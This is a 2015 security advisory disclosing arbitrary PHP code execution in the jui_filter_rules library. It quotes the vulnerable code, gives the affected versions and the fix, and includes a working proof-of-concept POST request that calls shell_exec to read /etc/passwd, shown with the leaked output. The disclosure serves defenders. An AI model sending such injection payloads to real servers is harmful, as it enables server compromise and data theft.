PHP Code Execution in jui_filter_rules Parsing Library

2015-02-22T00:00:00
ID SECURITYVULNS:DOC:31724
Type securityvulns
Reporter Securityvulns
Modified 2015-02-22T00:00:00

Description

-----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160

PHP Code Execution in jui_filter_rules Parsing Library

Researcher: Timo Schmid <tschmid@ernw.de>

Description

jui_filter_rules[1] is a jQuery plugin which allows users to generate a ruleset which could be used to filter datasets inside a web application.

The plugin also provides a PHP library to turn the user submitted ruleset into SQL where statements for server side filtering. This PHP library contains a feature which allows to convert the submitted filter values with server side functions. These functions can be specified within the ruleset, which leads to an arbitrary PHP code execution.

Exploitation Technique

Remote

Severity Level

Critical

CVSS Base Score

6.8 (AV:N / AC:M / Au:N / C:P / I:P / A:P)

CVE-ID

<unassigned>

Impact

By using the provided rule parsing library to generate SQL statements, an attacker is capable of executing arbitrary PHP code in the context of the web server. This could lead to a full compromise of the web server. The attack vector could be limited by existing validation mechanisms around the library, but this would require a partial manual parsing of the user supplied rules.

Status

Reported

Vulnerable Code Section

server_side/php/jui_filter_rules.php: [...] private function create_filter_value_sql($filter_type, $operator_type, ... [...] if(is_array($filter_value_conversion_server_side)) { $function_name = $filter_value_conversion_server_side['function_name']; $args = $filter_value_conversion_server_side['args']; $arg_len = count($args); for($i = 0; $i < $vlen; $i++) { // create arguments values for this filter value $conversion_args = array(); for($a = 0; $a < $arg_len; $a++) { if(array_key_exists('filter_value', $args[$a])) { array_push($conversion_args, $a_values[$i]); } if(array_key_exists('value', $args[$a])) { array_push($conversion_args, $args[$a]['value']); } } // execute user function and assign return value to filter value try { $a_values[$i] = call_user_func_array($function_name, $conversion_args); } catch(Exception $e) { $this->last_error = array( 'element_rule_id' => $element_rule_id, 'error_message' => $e->getMessage() ); break; } } } [...]

The provided PHP parsing library allows to specify a PHP function to convert the supplied filter value on the server side. This leads ultimatively to code execution through attacker supplied input. As no whitelist approach is used, any existing PHP function could be executed (including shell commands).

Proof of Concept

Using the demo application from the git repository:

Executing shell_exec('cat /etc/passwd')

Request: POST /ajax_create_sql.dist.php HTTP/1.0 host: http://www.example.com X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 471

a_rules%5B0%5D%5Bfilter_value_conversion_server_side%5D%5Bfunction_name%5D=she ll_exec&a_rules%5B0%5D%5Bcondition%5D%5BfilterValue%5D=&a_rules%5B0%5D%5Bfilte r_value_conversion_server_side%5D%5Bargs%5D%5B0%5D%5Bvalue%5D=cat+%2Fetc%2Fpas swd&pst_placeholder=question_mark&a_rules%5B0%5D%5Belement_rule_id%5D=foo&use_ ps=yes&a_rules%5B0%5D%5Bcondition%5D%5Bfield%5D=some_field&a_rules%5B0%5D%5Bco ndition%5D%5Boperator%5D=equal&a_rules%5B0%5D%5Bcondition%5D%5BfilterType%5D=d ate

Response: HTTP/1.1 200 OK Date: Tue, 13 Jan 2015 02:12:33 GMT Server: Apache/2.2.22 (Debian) Content-Length: 530 Content-Type: text/html

{"sql":"WHERE \nsome_field = ?","bind_params":"root:x:0:0:admin COSMOS:/root:/ bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\ns ys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga mes:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/va r/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/s pool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:pr oxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh"}

Solution

This functionality should generally be removed or replaced by a mapping/ whitelist approach and strict type filtering to prevent arbitrary code execution.

Affected Versions

> = git commit b1e795eeba1bac2f9b0d383cd3da24d6d26ccb4b < 1.0.6 (commit 0b61463cd02cc1814046b516242779b29ba7d1e1)

Timeline

2015-01-12: Vulnerability found 2015-01-13: Developer informed 2015-02-14: Fixed in version 1.0.6 (git 0b61463cd02cc1814046b516242779b29ba7d1e1)

References

[1] http://www.pontikis.net/labs/jui_filter_rules [2] https://www.owasp.org/index.php/Code_Injection [3] https://www.ernw.de/download/BC-1501.txt [4] https://bufferoverflow.eu/BC-1501.txt

Advisory-ID

BC-1501

Disclaimer

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.


Timo Schmid

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